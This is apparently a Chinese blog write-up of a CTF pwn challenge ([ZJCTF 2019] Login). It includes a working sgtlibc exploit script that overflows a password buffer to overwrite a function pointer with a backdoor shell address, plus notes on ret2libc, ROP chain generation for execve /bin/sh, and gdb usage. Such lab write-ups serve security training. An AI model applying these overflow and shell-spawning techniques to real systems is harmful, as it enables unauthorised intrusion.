CTF-PWN-[ZJCTF 2019]Login 栈位置的转换跟踪

CTF-PWN-[ZJCTF 2019]Login 栈位置的转换跟踪

来源:https://buuoj.cn/challenges

内容

附件:链接:https://pan.baidu.com/s/1uBEYYeg9ouPDEOah-BHGQA?pwd=6si8 提取码:6si8

答案:PWN题为动态flag

总体思路

检查题目逻辑发现执行call的地方

通过x键检查其被调用的地方发现var130

通过动调发现该值在栈中的位置,使用题目自带的后门函数完成

详细步骤

  • 使用pip install sgtlibc安装pwn解题框架

  • 发现是cpp的题目,在password_checker的第9行下断点到判断密码的位置,随后输入用户名admin,密码cylic(300)用于测试溢出点和调用点

  • 题目是比较密码是否等于2jctf_pa5sw0rd,正确则跳转进入 (**a1)()

  • 发现此处的值是aaaa,则我们将密码设置为2jctf_pa5sw0rd\x00 +cylic(300)继续测试。

  • 同时通过回溯call eax的来源,发现其来自于ebp+var130,其在栈上的位置为0x48

    • image-20220623142338508
    • image-20220623142351067
  • 故将payload 改为 b’2jctf_pa5sw0rd\x00’.ljust(0x48,b’\x00’)即可填充到call的位置,再加上p00(shell_addr)即可完成。

  • payload

    • import sgtlibc
      from sgtlibc.gamebox import *
      set_config(GameBoxConfig(
          is_local=True,
          file='./login',
          remote='node4.buuoj.cn:27456',
          auto_load=True,
          auto_show_rop=True,
          auto_show_summary=True,
          auto_start_game=True,
          auto_load_shell_str=True,
          auto_show_symbols=True
      ))
      s = sgtlibc.Searcher()
      elf = client.elf
      pause()
      sl('admin')
      # payload = ['2jctf_pa5sw0rd\x00', cyclic(300)]
      # sla('pass',payload)  # 测试溢出点
      
      
      shell_addr = 0x0400E88
      payload = b'2jctf_pa5sw0rd\x00'
      payload = payload.ljust(0x48, b'\x00')
      payload += p00(shell_addr)
      sla('pass', payload)
      interactive()
      
    • 注意此处填充要使用\x00,否则会导致地址被破坏。

  • image-20220623142746138

参考文档

  • 常见知识点

    • 汇编

      leave equal mov esp,ebp; pop ebp;

      ret equal pop eip

    • 函数参数

      • x86函数传参:直接从栈上读,且参数在返回地址上方

        栈的执行顺序 ebp+(func1+f1_返回+f1_args)+(func2+f2_返回+f2_args)…

        syscall的话则需要寄存器传参:ebx,ecx,edx,esi,edi,ebp

      • x64函数传参:按 rdi, rsi, rdx, rcx, r8, r9顺序读,后续的从栈上读

        故x64需要调用ROP实现pop将参数从栈中传入寄存器

        内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

    • ret2libc注意事项

      • 当题目没有设置setbuf的时候,不要用plt.printf,否则不会有回显
      • 注意有时候远程打不通的时候,可能是因为栈没有平衡,找一个ret走一下可能就好了。
    • gdb/pwndb

      • 内存查看

        • p expresion 查看指定数值 /print
        • x 查看各类
          • x/20g address 查数据 /global
          • x/20i address 查反汇编 /
          • x/20s address 查字符串 /strings
          • x/20b address 查字节 /bytes
        • hex查看hex及asciihex address size
        • i r 查注册表 /inspect register
      • vmmap 内存查看

      • 调试

        • ni/下一步 si/进入 c/继续
        • b addr/断点 e addr/enable断点 d/disable断点 q/退出
        • set expression=xxx 设置内存
  • 常用工具

    • pwntools逆向python库
    • Kali
      • checksec:检查样本的基 本信息也可以是通过设置 pwntool.context.log_level = 'debug’得到
      • ROPgadget/ropper:检查文件中可以利用的gadgetrop-chain
        • 静态编译的题基本上都是可以一键生成ropchain的,ropper -f flower --chain “execve cmd=/bin/sh”
        • 注意在python3版本中,生成的chain需要在所有的字符串前面加上b表示十六进制值,否则会出现str不能合并bytes的报错
      • gdb:程序动态调试工具,也可以直接使用ida的远程调试功能
    • libc_searcher:用于retlibc题时候查询其libc版本
      • 在线web查询 推荐的查询器 稍菜一点的查询器
      • 离线python pip install sgtlibc ,使用 sgtlibc ./binary_file func_name:addr func2_name:addr… --dump binsh
      • docker部署离线外部查询环境 docker pull libcyber/srpnode 注意需要更新
  • 教程

  • 常见知识点

ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符串漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值